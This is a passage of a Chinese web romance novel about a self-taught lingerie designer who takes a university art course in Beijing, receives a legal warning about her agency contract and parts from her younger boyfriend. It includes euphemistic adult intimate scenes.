视野荡震里,谈丹青莫名涌出一种微妙的念头:在这阵猛烈的撞击中,时光的弧出现了扭曲,于是时间倒流,真将她带回了高中时代。在那个时空,她是最普通的学生,白天认真上学,晚上安心回家。然后某天被绪东阳拖进教室一把扌安在了课桌上…… 她莫名羞耳止,难为情地抬起手,费力盖住那张学生证。 可绪东阳不曾放过她每一次的动作,将卡片从她的指尖抽走。 然后他看见了卡片上的登记照。 照片不知是什么时候拍的。 看起来年龄和现在区别不大。 蓝色的底。 黑色的制服。 没有化妆,梳着高马尾辫,露出明媚的眼睛和光洁的前额。 她冲着镜头微笑。 笑意里有着无忧无虑的味道。 好乖。 好聪明。 好漂亮。 “漂亮,”他在她耳边说。 “别,别说了。”谈丹青只想拿回自己的学生证,手每次抬起又无力地落下。 “很漂亮。” “照片很漂亮。” 这一声又一声夸赞不知真假。 分不清是青动时什么话都能轻易往外说,还是压抑的真心借着血脉膨胀的刺激脱口而出。但这些话却一句一句敲打在了谈丹青的心里,像一块砖一块瓦,构筑起她外强中干的自信。 她干脆至闭上眼,由着他去。 “好漂亮……” 绪东阳最后的一声好轻,轻到一出口就消散无影。谈丹青几乎听不清究竟是自己的幻听,还是绪东阳真的发出了这样的声音。 他说:“姐姐好漂亮……” * 夜色深了,星空反而越明亮,宛若璀璨的珍珠。 米且的粝手掌在鼓起的小月复轻轻往下按,巨大的航船缓缓抽离,空气里似乎能听到轻轻一声“啵”。清理完后,两人面对面,他亲她的鼻尖,又亲她的额角。“越来越过分了啊……”她抬手拧他的耳朵,她每次佯装生气实则下手都很轻,柔和地扫过他的耳根。 谈丹青伸手突然碰了碰绪东阳的眉骨。 他的眉骨很高,于是显得双眸幽深,像一对黑色的宝石。听说眉骨高的人自尊心强,谈丹青混了这些年,知道最深刻的道理,就是刚过易折。 “别以为今晚这么胡闹,早上的事就这么过去了,”谈丹青平复着呼吸,旧话重提,“我是很记仇的。” 绪东阳看着她,等她后文。 “你到底生什么气?”谈丹青说:“还给我摆起了脸色,我不是……”她的声音残留着甜,轻声说:“都给你了么。” 绪东阳手目光游弋在她的脸颊上,手缓缓攥成拳。 “你总问我,我未来做什么,有什么打算,那你能不能告诉我,你的未来是什么样的。” “我?”谈丹青转过身,仰面卧,看着天花板。尖锐的欢愉在缓缓褪去,余下的是温柔绵长的回味,“先解约吧,解约后我想设计一组新的内衣,我都想好了,叫‘四季’,分为春夏秋冬。今天上课,还挺给我启发的,脑子里有好多东西在往外冒……” 她提溜起刚才被扔得满地都是画册,责怪了一声:“你真是的,还说没弄脏。你看这是不是你……”她故意指着一处污渍,绪东阳便去抽纸巾要擦,谈丹青接过纸,慢慢擦掉了,说:“脏死了。” 这会儿身体累,但脑子反而转得飞快。 谈丹青也不知道怎么回事,难道忄生还能带来灵感? 她随手在纸上画,每一笔看似随性,但却有一股流动的有呼吸感的灵气。 “所以我后面会专心继续设计,说不定不只设计内衣了,还有成衣。” 绪东阳看着她笔锋游走。 握笔的手灵巧、细腻。 他还记得这只手刚刚怎么穿过了他的躯体。 “还有小白,”谈丹青笔尖微停,她现在灵感正好,才思泉涌,“我还不知道他那点心思,就是想毕业后回我这儿,我是肯定不让的。他得给我走正道,好好读书,毕业了该读研读研,该读博读博。要是实在没读书那脑子,也找个正经工作,安安心心结婚生子,给我生一窝小崽子玩。” “你的想法太封建了,”绪东阳说:“现在小孩儿都不结婚生子。” “那就不生,”谈丹青说:“我也管不住小孩儿。但怎么着也要找份好工作吧,人得自己养活自己。” “现在就业行情和以前很不一样,”绪东阳说:“他在外面,不一定就能过上你预想的生活,或许回来也不错。” “回来?我这地方才几个人?”谈丹青说:“这几年看着风光,但抽成也多,还有积压的库存,都是钱。而且这风水轮流转,干什么都是几年好的几年坏的,谁知道后面会怎么样?他好不容考了个厦大,在我这儿多憋屈?” “然后呢,”他继续问,“等小白稳定了,又打算做什么?” “你怎么想这么远啊……”谈丹青说:“郑芳过几年也要结婚吧,她其实也不缺钱,我知道她当年跟我合伙,本意就是拉我一把。” 谈丹青今天心情大好,其实不怎么想跟绪东阳聊人生聊未来。 画着画着,她突然笔锋一转,狡黠地偷笑起来。 她飞快在纸上寥寥画出几笔,递到绪东阳眼前。 绪东阳没预料,看了一眼,神情复杂。 谈丹青哈哈大笑,说:“我画得像不像?” 她画的是个小绪东阳。 栩栩如生。 “你在画画上很有天赋。”绪东阳由衷评价。 “画这种东西,谁都有天赋啊!”绪东阳大大方方接受,谈丹青反而脸上有些挂不住,要将画纸抢回去。 “然后呢?”绪东阳却将她挥舞的手挡了挡,然后在图上添了一笔。 “这什么呀?”谈丹青问。 “你少花了一根筋,”绪东阳坦然。 谈丹青忍俊不禁,说:“绪东阳啊绪东阳,你怎么这么氵氓啊?” 绪东阳:“彼此彼此。” “还有呢?”他继续问。 “还有?”谈丹青说:“你别以为我说的这些事简单,难办着呢,要想做成衣,至少要另开一条线,我都没上手呢,谁知道想要做成得花几年。十年?二十年?不知道,一步一步慢慢来吧。” 她眼里迸发出憧憬的光:“反正,总有一天,巴黎时装周,我坐主座。” 绪东阳静静地听着。 空气凝滞了片刻。 他忽然开口,声音不高,却像投入深潭的石子:“那我呢?” 谈丹青微怔,“什么?” “那我呢?”绪东阳重复了一遍。 “你的未来里,我在哪儿?” 57 第57章 ◎A-◎ 对于绪东阳的控诉,谈丹青试图辩解,但开口后发现声音干涩微弱。 她不会告诉任何人,在她的想象里,未来她成功的每个瞬间,绪东阳会在她身边陪伴她。 他会站在人群中的最前面为她鼓掌,他的目光会比任何灯光都更灼热地烙在她身上。 可是,每当这个画面在她脑海中定格,她想将他的脸看得更加清晰。 他的面孔便如同浸了水的水墨画,骤然模糊、晕染开来,只剩下一个温暖却无法辨认的轮廓。 谈丹青说不出什么感觉,她很高兴绪东阳愿意回来愿意陪着她;可同样的,她又不相信他们之间可以这样。 绪东阳或许现在觉得情能饮水饱,可是以后呢? 等他三十岁了,看到她眼角的皱纹,看到这一间这么狭窄逼仄的工作室,而曾经和他在一起读书、甚至不如他的同学在更大的舞台上发光发彩,他不会后悔吗?不会埋怨吗? 并不是她做不到自私。 而是她太自私了,所以她宁愿一开始就不付出真心。 * 公开课并不是玩玩而已,教授要求严格,每堂课都布置课后小作业。为期两周的课程结束后,还会有一场决定能否拿到结业证书的考试。 谈丹青学得很用功,这股劲头,连她自己都惊讶。 也许是太早离开学校心有遗憾,所以更知道珍惜。她不停地学,不单是为了应付考试,拿到证书,更是她终于拿到了渴望已久,填补自身短板的机会。 T大设计学院专业画室宽敞明亮,巨大天窗洒下明媚的光线,照亮空气中漂浮的细微粉尘。混合着松节油和新鲜油画颜料的气味扑面而来,带着一种陌生又令人敬畏的“学院派”气息。 她有些拘谨地第一次亲手触碰到那些只在网上见过的油画原料:钛白、赭石、镉黄、群青…… 也是第一次知道,原来她曾刷到过的经典画作,画布上的颜料并不是薄薄一层,而是厚达一厘米。 这些看起来绚丽夺目、流光溢彩的颜色,原来是用这样奢侈的方式,一层又一层,不计成本地堆叠、覆盖、融合而来。 她悟出来一句话——艺术,是不计成本的热情。 画室里的同学不少,风格各异,但大多数都是正在读书、经受过专业训练的艺术生,像她这样半路出家的,算是稀有物种。她坐在他们之中,感觉自己像个闯入者。好在同学人都很好,她有什么不懂的,都乐意教。 真轮到自己提笔调色,谈丹青“实干”脑就冒了出来,各种颜料在调色板上混合时,脑子不由自主地开始跑偏—— “这种颜料的遮盖力和饱和度,在棉布上做数码直喷会有色差吗?” “染葡萄紫成本好高,怎么能把成本压下来?” …… 她猛地甩了甩头,将这些习惯性念头抛之脑后,“谈丹青!你现在是艺术家,不是厂长!” 磕磕绊绊里,她悟出了一句话:所谓艺术,就是不计成本的热情。 每次要求上交一张作业,谈丹青都会闷不作声地逼自己完成两张。她知道自己基础差,笨鸟先飞,那她就得比别人画得更多。 透视不准,那就反复修改打底稿,开始她画的草图,同学会说她的透视有点像“落榜美术生”,但慢慢的,没有人再这么说了。调色不准,就一遍遍重调,她得到了一种前所未有的掌控感和表达的畅快,哪怕这表达还很稚嫩。 她画她工厂那一扇扇蒙着灰尘的,略显陈旧的玻璃窗。半透明的质地让城市的霓虹光影看起来模糊、充满诱惑、遥不可及。她还会画布,各种各样的布,棉布、丝绒、绸缎、羊毛……她对所有布料了如指掌如数家珍。 “谈丹青,”这天的课程结束后,教授忽然破天荒点到了她的名字。 “在,”谈丹青忐忑不安地站起身。毕业多少年了,重回课堂她还是不习惯被教授点名,总觉得被点名,就意味着做坏事被逮到。 从座位到讲台,短短几步路,谈丹青脑中突然闪过一个极其惊悚的念头:她不会是……交作业时,不小心把她精心画的小黄图给交上去了吧。 这也太社死了。 她站在教授面前,像个等待宣判的学生。 教授却推了推眼镜,拿起她的画作。 她交上来的作业,叫《窗》。 教授反复欣赏着她的作业,问:“以前在哪里学的美术?” “没怎么学,”谈丹青实话实说:“都是自己瞎琢磨,算……自学吧。” “自学?”教授意外地挑了挑眉,半晌说:“哦,我想起你了。你是服装设计师吧?我以为你之前有过基础。” 他的目光重新回到画纸上,镜片后的细长的眼睛里,是终于发现一块璞玉的欣赏: “画得很不错啊,很有想法,观察的角度很独特。有时候没有经过专业训练反而思维不僵硬,会冒出耳目一新的灵感,很难得。” 谈丹青微愣,从教授手中接过上交的作业。 画纸右上角,竟然是一个巨大的A-! 这位教授是业内大拿,普通的作品难上眼,所以给出的分数都偏低,一个班一次作业A以上的寥寥无几。而她!拿到了A-!!! 谈丹青被巨大的兴奋包裹着。太兴奋了,反而生出一种不真实感。她一直在脑中弹幕一样吐槽:“难怪说教授是文化人呢!这句话不就是:‘没受过知识污染’好听版?不过,管他呢!A-!A-!啊!” “不错,”教授将作业还给她,顺手拍了拍袖口的粉笔灰,说:“线条和色彩的处理,还是有点生涩,但这种对生活独特的感知和表达的冲动,是金子。继续努力吧。” 谈丹青几乎是双手捧着自己的画回到座位上。 A-!! 一个鲜红的、带着小小减号的A! 她,谈丹青,一个没上过正经美术课的“野路子”,在T大的公开课上,拿到了A-?! 四舍五入,谁还分得清她和梵高? 谈丹青藏不住事儿,不得表扬,就能每天像花孔雀似的招摇过市,更不用说在T大拿了个“A-”的成绩。 她喜滋滋地将作业拍了下来,本想单独发这一张狠狠炫耀。但又觉得,这么直接发,似乎不够有“姿态”。 于是她在相册里翻找一番,挑出这几天在北京看展、吃喝玩乐的图片,组成九宫格,发在她的小号上。 【最新一周动态,进修和美食!】 小粉丝们果然秒到: 1l:“这是T大吗?我天!!!姐姐太厉害了!” 谈丹青回复:“是T大,我是来上公开课。” 2l:“优秀的人怎么还这么努力……” 3l:“上完课能不能上新?已经没衣服可穿要裸奔了。” 也有不同的声音冒了出来: 100l:“tdq去进修还是蛮好的,最近一眼看出来是想赚钱赚疯了,设计感越来越差。” 101l:“都tdq了,你还真以为她放着钱不赚跑去进修?又是点立人设的小把戏。” 102l:“信tdq不立人设,不如信我秦始皇,又要割了!网红快销就是网红快销,味藏不住,真心劝你们不如攒点钱,买国际大品牌,国产就是low……” …… 谈丹青此刻心情好得像飘在云端,对夸她的仔细看,嘲讽的就当没看见。 通常微博刚发出去时评论涨得最快,但不知怎的,在评论速度渐渐慢下去后,又突然出现了异常反弹。 小粉丝在评论区疯狂尖叫: “这位是真蓝神吗?” “是本人?” “有红v认证诶!!!” “我靠我靠我靠我靠!!!!” “妈妈我出息了!我关注的宝藏博主被真神翻牌了!!!” 什么红V?什么蓝神?谈丹青被这突如其来的集体亢奋弄得一愣,手指下意识地往上划拉。 就在她那条九宫格动态下方,一个带着官方红色认证标识、ID“蓝风设计工作室”的账号,静静地躺在一堆粉丝ID之中。 【蓝风设计工作室】:“一直在关注你的作品,灵气十足。这次A-,实至名归。” 谈丹青:“?” 脑子里瞬间一片空白,只剩下巨大的问号和惊叹号在疯狂蹦迪。 蓝风?!这个名字她只在顶级时尚杂志专访里见过…… 她每天都跟绪东阳吹牛,说她以后要去巴黎时装周。 这牛可别,吹着吹着,真成真了吧…… 简直跟做梦一样。 她回复了蓝风私信:【谢谢鼓励。】 蓝风回复:【一起加油。】 她特意将这段对话截图下来。 看了一遍又一遍。 激动的兴奋过去后,谈丹青的心情渐渐恢复平静。 她回味着这份难得的、纯粹的虚荣心满足。手指不断划着屏幕,评论区还在疯狂刷新。突然,一个极其普通的系统默认头像和一条语气生硬的评论,却闯入她的视野。 用户73948502(IP属地:江城):“新厂在广东?” 这问题没头没尾,透着一种刻意疏离的窥探感。 而且ip地址又是熟悉的江城。 一股说不清道不明的寒意顺着脊椎爬上来,她几乎是下意识就默认,这个账号是谈国军。 她皱着眉点进那个账号,果然一片空白,只有几条僵尸号般的抽奖转发。 她立刻给郑芳打去电话,郑芳愉快地说:“喂,看你发动态了,北京怎么样啊?玩得开心吗?” “开心,超开心,”谈丹青说:“乡下人进城了。” 郑芳说:“可别乐不思蜀啊,我想*你了。” “哈哈哈我也想你,”谈丹青说:“工厂有事吗?” “没,”郑芳说:“工厂这边我盯着呢,就老样子。等你学成归来啊。” “等着,我回来就信梵了。”谈丹青说。 “梵?” 谈丹青淡定地说:“谈梵高。” 郑芳笑死:“就爱听你吹牛。” “那是。” 刚才那条评论带来的阴影像一小片乌云,又悄悄飘回了心头。 “我下周就回来,”谈丹青:“这几天帮我留意一下工厂附近有没有陌生人在转。” “怎么呢?”郑芳问。 谈丹青说:“没什么,树大招风,小心点总没错。” “没事,我盯着呢。”郑芳打包票道。 * 绪东阳对谈丹青生的那点气,犹如朝露,压根存不住。 他太了解她的脾气。 这张嘴,天天叭叭地说自己心狠手辣、六亲不认,可骨子里呢?除了对自己下得去狠手,对旁人比谁都心软。 她要筑起高墙,把他隔绝在未来蓝图之外,那他就想办法挤进去就是了。 硬挤。 做甩不掉的影子,像只孤魂野鬼,将她缠住。 在教室走廊等待学长回复的间隙,绪东阳也刷到了谈丹青的小号。 看到热闹非凡的评论区,他在心底无声地笑了笑,然后给所有吹彩虹屁的留言都点赞。 【超棒哒!!!】 这三个字打完,他都脸红。 装什么可爱…… 但, 反正没人知道是他。 这时手机铃响,学长回拨电话。 “魏帆学长您好,我是绪东阳,”绪东阳声音沉稳,开门见山:“王教授说您在合同纠纷这块经验丰富,我这边遇到个棘手的情况,想请教您。” 电话那头,魏帆的声音带着专业的利落,说:“这其实是你家的事吧?” “是,”绪东阳坦然承认,“是我女朋友。” “原来是女朋友啊,”魏帆语气多了几分了然,说:“行,那我直说了。你女朋友这事儿,是眼下自媒体圈里典型的‘大鱼吃小鱼’套路。” “大鱼吃小鱼?”绪东阳眉头微蹙。 “对。”魏帆解释道:“现在很多所谓的MCN机构,表面上是帮网红、小品牌做推广,签合同的时候说得天花乱坠。实际上呢?合同里埋着雷!专门针对像你女朋友这种有潜力但根基不深的小工作室。他们签你,不是为了双赢,而是为了‘养肥了再宰’。” 绪东阳心下一沉,说:“我了解过,我女朋友签约的机构并不是骗子公司,他们在业界很有实力。” “名气大才更要命,”魏帆说:““越是这种‘正规军’,玩起阴招来越狠,也更会引导舆论。他们的策略就是:对自己人,春风化雨;对外面有潜力、可能威胁到他们的小鱼小虾?用合同里的天价违约金逼死。” 魏帆顿了顿,语气更沉:“我手里刚结束的两个案子,就是这么被他们弄死的: “一个是自己账号和他们公司主推账号风格重复,他们就故意将这个账号签下来,然后冷藏,让他们无声无息地烂掉、死掉。 “另一个是账号做得太好,他们眼红,直接抢过去占为己有。这个账号到现在还在更新,但粉丝已经流失了一大半。大家全都在问为什么质量下降这么快,为什么?因为皮下换人了啊。” 绪东阳握着手机的手指收紧,指节微微泛白。“很严重?” “严重程度,取决于他们有多想‘吃’掉你们。”魏帆直言不讳。 “操作空间很大,但核心就一个:他们要的是利益最大化,要么榨干你们的钱,要么吞掉你们的品牌。我的建议很直接,别抱幻想:断尾求生!立刻、马上跟他们谈解约条件!看要付出多大代价才能脱身。长痛不如短痛!” “还有一点,你这合同里埋了个雷。”魏帆补充道,“条款写着,合作期间,如果你们这边出了‘负面舆情’影响了品牌形象,你们就得赔钱。听着合理对吧?但问题就在‘负面舆情’这四个字。 “想搞你的人,怎么都能搞你。谁还没点能被放大的‘黑料’?千万小心,提前防备,别让人抓住把柄往死里整。” 冰冷的寒意顺着脊椎蔓延开,绪东阳深吸一口气,将魏帆的话一字一句刻进脑子里:“明白了,学长。” “没事,”魏帆说:“真要走到对簿公堂那一步,你们也能联系我。我这边能帮一定会帮。” “谢谢您,这份情,我记下了。” 挂断电话,绪东阳在走廊里站了一会儿。 晚风吹拂,繁星点点。 这件事巨石一样压在他的心口。 他无法想象,如果谈丹青的工作室真的步入了魏帆口中那些牺牲品相同的道路,她遭受的打击会有多大。 回酒店的路上,他一直思索着要如何开口。 到了门扉前,他捏了捏眉心,深呼吸了一瞬,才缓缓推开酒店房门。 映入眼帘的一幕,让他胸口的压抑感更加沉重。 谈丹青正背对着在窗前作画。她是野路子出生,从不规规矩矩地用画板、画夹,就那么倚在转椅上,捧着一大本厚厚的页面微微卷曲的画册,白皙的脚在桌下随性的晃着,仿佛要踩住那流转的光。 乌黑如缎的黑发松松盘在脑后,露出白皙如玉的脖颈。 她手中的画笔在画布上发出沙沙的轻响,整个人沉浸在创作的世界里,显得异常宁静。 那一刻,她像被神秘海域环抱的人鱼,专注而美好,而他则是站在船舱甲板上被蛊惑的水手。 他轻轻合上门,没有出声,只是安静地倚在玄关的墙边看着。房间里只有画笔的沙沙声和她偶尔调整坐姿时衣料的摩擦声。 过了好一会儿,谈丹青似乎才感觉到背后的视线,有些诧异地转过头:“咦?你什么时候回来的?怎么不出声?” 绪东阳这才走过去,目光扫过她画架上未完成的风景小图。 当看清她今天画了多少张画后,他的眉头习惯性紧蹙了起来。 “怎么画了这么多,你的手受得了?” 谈丹青眼睛一转,随手从旁边的速写本里抽出一张纸,团了团扔向他,“喏,专门画给你的!” 绪东阳抬手接住,展开一看,满头黑线。 谈丹青扔过来的,是一张小黄车图。 谈丹青玩心重,学完人体结构图后,就爱画小黄车车解闷。 她以前画这些东西还差一口气。 现在简直打通了任督二脉,动作花样还多,涩情又富有美感。 “怎么样?是不是进步神速?”谈丹青已经笑得前仰后合,像只恶作剧成功的狐狸。 看着谈丹青明媚的笑脸,绪东阳心情更加沉重。 他扶住她的肩膀,掌心能感受到她单薄睡衣下温热的肌肤,“有点事,得跟你说。” 谈丹青敏锐地捕捉到他语气的变化,脸上的笑容也渐渐淡去,坐直了身体:“怎么了?这么严肃。” 绪东阳三番两次欲言又止。 谈丹青不由紧张起来,问:“不会……不会是谁生病了吧?” “不是……”他简明扼要地将今天魏帆给她的建议跟她说了。 房间里刚刚还残留的轻松气氛退潮,最后凝固成一团冰。 谈丹青听完,脸上没什么特别的表情,只是那双明亮的眼睛沉静下来,所有情绪都被迅速收敛。 “嗯,我知道了,”她沉默了几秒,说:“我现在订机票。” “那你的结业考试……”这句话绪东阳几乎要脱口而出。 谈丹青的课程已经上了一大半,距离拿到结业证书,只剩下最后几天而已。 但他终究咽了回去。 梦想是很奢侈的东西。 现在的当务之急,是生存下去。 谈丹青一边打电话,一边收拾行李。 她刷机票对时间,算来算去,最快的航班也是明天早上六点。 她清行李不是什么好手,而且她非常不喜欢做整理这种繁琐枯燥,回报率极低的事。清一会儿,就开始想砸东西,一股怄气感感直冲脑门。 凭什么? 凭什么她总是这么倒霉? 凭什么她每次只要好一点点,就立刻会被一棒子打回原形? “嘁,什么东西,”谈丹青破口大骂:“还想抢我公司,做梦!做你个春秋白日大梦!也不拿面镜子照照。我是谁啊,我可是谈丹青。我的东西都敢抢,还想不想混了?” 绪东阳突然将头抵在了她的肩上,温热带着潮意的呼吸,吹在她的耳垂上。 谈丹青闭上嘴,忍住了鼻尖那一阵阵涌来的酸意。 两个人静静地靠了一会儿,谈丹青抬手摸了摸绪东阳的脸颊,说:“哭了?不会吧?”一开口,鼻音好重,都快分不清前后鼻音。 “绪神,你怎么这么爱哭啊。”她倒打一耙。 绪东阳没说话,侧过头,在她肩膀上吻了吻,“今晚好好休息,我早上送你。” “嗯。” 谈丹青东西不多,重新打起精神后很快就清好了。 行李箱放在床尾,绪东阳发现她在这里画的那本画册,却并没有放进去。 “这个忘了。”绪东阳将画册递给她。那一页标了A-的画纸露出了一角,像一枚小小的勋章。 谈丹青看了一眼,说:“算了,太大了,我包放不下。” 绪东阳看着她,半晌说:“好。” 他没将谈丹青的画册扔掉,而是装进了自己的背包里。 原以为还有更多的时间,没想到今晚就变成了最后一晚。 两个人没做,洗了澡,就躺在床上闭着眼睛在黑夜里等天亮。 谈丹青习惯性地背对着他,蜷缩着身体。 清冷的月光透过薄纱窗帘,流淌进来,恰好勾勒出她侧脸的轮廓,尤其照亮了她那只薄薄的、近乎透明的耳垂,像一小片温润的玉,脆弱地悬在夜色里。 他用指腹,极其轻缓地、像怕惊扰了最易碎的蝶翼般,拂过那微凉的耳垂肌肤。 然后,几乎是虔诚地,微微倾身,温热的嘴唇轻轻印了上去,一个不带丝毫情欲、只有无尽怜惜与无声承诺的吻,落在她敏.感的耳后。 黑暗中,他清晰地感觉到怀里的身体极其细微地颤抖了一下,像被电流轻轻击中。 但她没有闪躲,反而像寻求温暖的小动物,更紧地、带着点依恋地向后靠进了他的怀里,将整个背脊贴合上他的胸膛。 她的发梢蹭着他的下巴,带来微痒的触感。 绪东阳收拢手臂,将她更密实地圈在怀中,下巴抵着她的发顶。鼻尖萦绕着她发间熟悉的、令人安心的气息,心却像被浸在温热的酸水里,又软又涩。 在学校待的这短短一周,是谈丹青从未有过的全新的生活体验。绿荫下散步、和蔼可亲的老师、善良可爱的同学、还有完成小作业之外,什么都不用想的清净。 明天,梦就醒了。 她就要重新扎进冰冷的现实里。 很残酷,但那本就是生活最真实的样子。 【作者有话说】 本来没打算双更,但是一口气写到了这里! 就d二合一更新啦! 鞠躬- 姐姐后面一定会拿到结业证书的! 58 第58章 ◎小皮筋儿◎ 绪东阳一整夜睡不沉。 闭上眼,再睁眼,谈丹青就不见了。 睡着太奢侈了。 爱人在身边的时候,体温暖着,呼吸交融,踏实的安全感漫上来,不知不觉就放松警惕,容易沉入梦乡。 但今晚他有点担心谈丹青会哭。 他听谈小白说过,谈丹青哭,爱背着人。 他不想谈丹青哭的时候,自己睡着了,不知道。 黑暗里,他一直侧耳听。谈丹青虽然没说话,也没动,但呼吸声不稳,显然同样醒着。 这么听着,到了后半夜,耳边的呼吸终于变得清浅规律。 绪东阳绷着的神经一松,也跟着睡沉了。 再醒来,天光未明,室内一片朦胧的灰蓝色。 绪东阳悄无声息地起床洗漱。 谈丹青被闹钟吵醒时,整个人还抱着柔软的被子。 她闭着眼睛,凭着肌肉记忆,梦游般晃进卫生间。 朦胧的视线,正撞见绪东阳对着镜子剃胡茬。 看清这一幕,谈丹青瞌睡立刻醒了。 绪东阳握着黑色剃须刀,下颌上堆着白色的霜,锋利的刀锋贴着下颌线。他透过镜子看她,眉尾扬了扬,“起了?” 谈丹青套着一条白色睡裙,裙摆刚过膝盖,罩着一双修长的腿。她倚着门框,没来得及打理的头发蓬蓬松松,衬着一张巴掌大的白皙的脸,以及一对黑润惊讶的眼睛。 她对着他眨了眨眼,极其认真地看了他半晌,然后唇角微勾,摇着头感叹道—— “哎,幻灭啊……” “幻灭?”绪东阳剃胡茬的手微顿,脸冷了冷。 镜子里的眼睛直勾勾地锁定她,问:“幻灭什么?” 他有点受不了谈丹青说对他感觉幻灭。 这就意味着她可能会不再喜欢他。 谈丹青打了个哈欠,往牙刷上挤牙膏,薄荷的清冽气味在空气中散开。她将牙刷塞进嘴里,抿唇偷笑,说:“小奶狗也长胡茬了,这还不够幻灭啊……” 胡茬是很男人味的东西。 粗犷,象征雄性荷尔蒙激素。 哪有少年人长胡茬? 绪东阳平时又讲究。胡茬、指甲这些细节一定会修理得整整齐齐,极少有不修边幅的时候。如果不是她今早不小心闯进来,估计很难撞见这幕。 晨光熹微,水汽氤氲的镜面映出绪东阳的侧脸和修长的手。 他正对着镜子微微昂着下颌,颈线紧绷,喉结像一颗沉静的宝石。剃须刀沿着他流畅硬朗的下颌线稳稳移动,刮开泡沫,露出有男人味的皮肤肌理。这一幕莫名溢出一股湿漉漉的、说不清的涩情。 谈丹青一边心猿意马地想,一边仔细刷牙,满嘴都是柠檬薄荷味牙膏。她俯身吐掉口中泡沫,用清水漱口,腰突然被结实的手臂猛地钳住,绪东阳一把将她抱上了洗手台。 “呀!你干嘛!”谈丹青轻轻惊呼了一声。 大理石台面冰凉、坚硬。 他俩在这几天闹得厉害,后背一被这种熟悉的凉意激灵,谈丹青就头皮发麻。她还沾着水的手指下意识扶着绪东阳的肩膀,又好气又好笑,说:“别闹啊,我赶飞机。” 绪东阳结实的手臂环住她的腰,紧紧抱着她,像只惹毛了的大狗狗,像只刚被惹毛又急于证明存在感的大型犬,不由分说地把下颌贴上她的脸颊。 带着未剃净的、短而粗硬的胡茬,一阵乱蹭。 那粗糙的触感刮过她柔嫩的脸颊敏.感皮肤,瞬间激起一片细密的痒意和微刺的麻。 她像是被挠了痒痒,忍不住缩起脖子哈哈大笑了起来,身人本在他臂弯里扭动,躲避那股温热的磨砂感。 “别闹,真别闹……” 绪东阳掐着表,闹腾了她足有五分钟才放手。 “真别闹我了啊,”谈丹青站回镜子前梳理长发,一根黑色牛皮筋随意地挂在纤细润白的手腕上,随着动作轻轻荡。 绪东阳靠着洗手台,目光在她身上转着。 忽地,他抬臂,指尖贴上她的手腕,灵巧地向上一勾。 那根小皮筋,便落入了他的手掌中。 “嗯?”谈丹青疑惑。 就见绪东阳将这根皮筋套在了自己的手腕上。 他骨架生得凌厉,腕骨嶙峋突出,偏偏覆着一层匀净的冷白皮,能清晰的看见凸出的淡青色的血管。这根牛皮质地的小皮筋绕上一圈,像一串别致的异域风情手链。 谈丹青心口不由一跳。她以前在网上看到,现在很多小朋友谈恋爱喜欢这么做。男朋友手腕上戴女朋友的小皮筋儿,以显示主权。她刷到后只当玩笑,总觉得这种行径太幼稚了点。 可绪东阳真将她的橡筋要过去,看着那圈曾经属于她的的小东西,现在圈在了他骨节分明的苍白的手腕上,紧贴着他跳动的脉搏。 一股不愿承认的热意不受控制地蹿上了她的耳根。 她佯装生气,撇嘴说:“你抢我东西啊?” “就抢。”绪东阳语气非常理直气壮。 “这么嚣张啊……”谈丹青飞快将最后一缕发丝绾好,趁转身的刹那,忽地勾了一下那根皮筋儿,“pia”的一弹,然后不等他反应,飞快闪人。 * 北京的春天很美。 天空透亮,干净的湛蓝色里渗出浅浅的青。 街道两侧梨花树花开正好,树梢上结出的硕大的梨花,如一团团白软的云。风一吹,花落了,满城都是雪。 雪白的花瓣下,是红色琉璃的老式城墙、五条脊上趴着仙人、狮子、龙、凤。 春天没什么不好的。 除了短暂。 坐地铁,换程,出地铁直通飞机场。 一路上人潮汹涌,绪东阳将谈丹青环在胸口,抵挡人流的拥挤。 他个子高,在人群里总有一览众山小的感觉。 她有时候抬头看站台,就会看到他干净清爽的下颌。 “嗯?”他低头看她。 “没什么。”她摇摇头,亲了亲他的下巴。 他便将她拥得更紧,吻她的发旋,双眼数着站牌。 站牌上,每到一个站台,就会亮起一只小红灯。 红灯一个个亮,一个个灭,最后到了终点站。 “XXXX机场到了。”语音播报。 谈丹青推着行李在安检口排队,再往里面走,就要买票。最便宜的一趟飞机票,也要好几百,退票费算下来也是不少钱。 她回头对绪东阳说:“行了,你快回去吧。这么多天不在学校,你同学要说闲话了。” 绪东阳才不管闲话不闲话。人家特意找他说话,他都不一定乐意听。他执意要陪着谈丹青等,“我清明放假。” “行,到时候见。”谈丹青微笑着说。 绪东阳望着她。 这一周大概是他们在一起后最幸福的时光。牵着手上学,一下课就做,到处玩。 队伍缓慢的往前走,谈丹青说,“才江城飞过来才几个小时啊?我下飞机给你发消息。” “嗯。”绪东阳抿了抿唇。 看着绪东阳的神情,谈丹青觉得有些好笑,她第一次主动在他嘴角上吻了吻,“我真走了啊,你回去吧。” 绪东阳非常用力地抱了抱她,贴着她的脖颈,深吸了口气。 广播反复播放着各类通知。 谈丹青推着行李过安检。 转身的时候,鼻尖也涌来了一股酸涩。 她自己都被自己这种反应给弄笑了。 怎么这么小女生啊?离了男朋友就走不了路了?真不像样…… 行李箱过了安检带,她推着行李箱往前走。她感觉绪东阳应该还在原地看她,她一时竟不敢回头,怕回头后没看见他会失望,直到要往左拐了,谈丹青才终于鼓起勇气往回看。 第一眼,她看见的是来来往往的人流,如浪潮汹涌。 她晃了晃神。 真走了啊? 然后才看到绪东阳依然矗立在远处的身影。 他比所有人都高,所以看起来那么清晰。 两名国外旅游的年轻夫妻找他问路,掏出手机比划。 谈丹青低下头,掏出手机,给绪东阳发消息。 Tdq:“我进站了,准备关手机。” 再抬头,那对问路的年轻夫妻已经走了。 绪东阳低着头,回复消息。 手机震动。 Leo:“好。” 看完这行字,谈丹青吸了吸鼻尖,推着行李进站候车。 绪东阳一直盯着谈丹青的背影,没想到被一对问路的外国夫妻挡住视线。他飞快地解答后,再抬头,谈丹青已经消失在了人群里。 他焦虑得甚至快走了几步,在检票口探头看。 人潮汹涌,谈丹青已经消失了。 她进去后都没有回头看看? 他撇嘴。 真狠心啊…… 他发出消息,然后将手机放回口袋。 Leo:【到了给我打电话。】 * 从北京回广东,郑芳看了谈丹青这几天攒出来的内衣设计稿。 这些灵感一部分是来自教授的启发,还有一部分其实是来自绪东阳。不得不说,爱情真的是艺术的第一生产力,画完小黄车图,灵感就跟不要钱似的。 “我天……”郑芳一张张看她带回来的设计图,先是咋舌,“你真画得越来越好了……” “恋爱了吧?哎呀这粉红色泡泡冒的,”郑芳嗅到了八卦的味道,眼睛一转,拷问道:“你去北京……不会是……不会是绪东阳?” 这事谈丹青不打算再往下瞒。 男朋友就是他嘛。 也就是……年纪小了点。 小男朋友。 